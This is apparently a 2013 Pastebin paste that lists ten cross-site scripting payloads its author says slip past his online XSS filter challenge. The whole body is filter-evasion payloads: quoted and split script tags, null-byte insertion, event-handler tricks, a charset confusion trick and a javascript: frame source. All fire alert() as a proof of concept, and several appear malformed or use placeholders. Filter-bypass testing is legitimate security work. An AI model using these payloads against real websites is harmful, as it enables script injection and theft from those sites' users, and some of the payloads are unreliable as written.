Advertisement
Guest User

10 Awesome XSS Vectors that Pass Through the Challenge ...

a guest
Apr 14th, 2013
611
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.76 KB | None | 0 0
  1. 10 XSS Vectors that simply pass through my XSS Challenge (http://demo.chm-software.com/xssfilter/) because the following vectors are AWESOME and I am SPEECHLESS :) Figure out why they are awesome and pass through the filter very easily .... :)
  2.  
  3. 1) "><marquee>alert( `bypass :)`)</marquee>
  4.  
  5. 2) "><"script">"alert(0)"</"script">
  6.  
  7. 3) <s[NULL]cript>alert(1)</s[NULL]cript>'>Clickme</a>
  8.  
  9. 4) <video><source o?UTF-8?Q?n?error="alert(1)">
  10.  
  11. 5) <body scroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
  12.  
  13. 6) '`"><*chr*script>log(*num*)</script>
  14.  
  15. 7) <meta charset="x-mac-farsi">¼script ¾alert(1)//¼/script ¾
  16.  
  17. 8) <x onload'=alert(1)
  18.  
  19. 9) <sc'+'ript>alert(1)</script>
  20.  
  21. 10) <FRAMESET><FRAME RC=""+"javascript:alert('XSS');"></FRAMESET>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement